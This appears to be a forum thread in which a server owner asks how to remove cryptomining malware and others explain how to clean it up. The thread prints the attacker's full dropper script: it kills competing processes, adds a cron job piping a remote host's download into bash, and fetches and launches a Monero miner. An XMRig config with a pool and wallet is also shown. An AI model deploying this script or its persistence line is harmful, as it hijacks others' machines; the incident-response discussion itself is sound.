Gfilui

Found this on an Ubuntu 16.04 server.
Malware I guess, but is there a guide to make sure I can clean it all out?

curl -s http://158.69.133.18:8220/logo7.jpg

#!/bin/sh
ps aux | grep -vw suppoie | awk 'if($3>40.0) print $2' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w suppoie |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && 
echo "* * * * * curl -s http://158.69.133.18:8220/logo7.jpg | bash -s" >> /tmp/cron || true && 
crontab /tmp/cron || true && 
rm -rf /tmp/cron || true && 
curl -o /var/tmp/config.json http://158.69.133.18:8220/1.json
curl -o /var/tmp/suppoie http://158.69.133.18:8220/rig
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."

It is in your www-data cron:

 sudo crontab -e -u www-data

You'll see something like:

 * * * * * curl -s http://158.69.133.18:8220/logo7.jpg | bash -s

Kill the process then clear it out of /var/tmp

I guess this is a bitcoin mining malware, someone found out the drupal's security breach and put this script on my server as well.

In my case, it is in /var/spool/cron/crontabs/, also curl something like

 * * * * * curl -s http://158.69.133.18:8220/logo7.jpg | bash -s

and the script is in /var/tmp/config.json and suppoie,
which looks like this

{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": true, // true to run the miner in the background
"colors": true, // false to disable colored output 
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 1, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option. 
"print-time": 60, // print hashrate report every N seconds
"retries": 5, // number of times to retry before switch to backup server
"retry-pause": 5, // time to pause between retries
"safe": false, // true to safe adjust threads and av settings for current CPU
"threads": null, // number of miner threads
"pools": [
 
 "url": "stratum+tcp://monerohash.com:5555", // URL of mining server
 "user": "41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo", // username for mining server
 "pass": "x", // password for mining server
 "keepalive": true, // send keepalived for prevent timeout (need pool support)
 "nicehash": false // enable nicehash/xmrig-proxy support
 
],
"api": 
 "port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
 "access-token": null, // access token for API
 "worker-id": null // custom worker-id for API

Deleted the line in crontabs, and cleared /var/tmp/, seems worked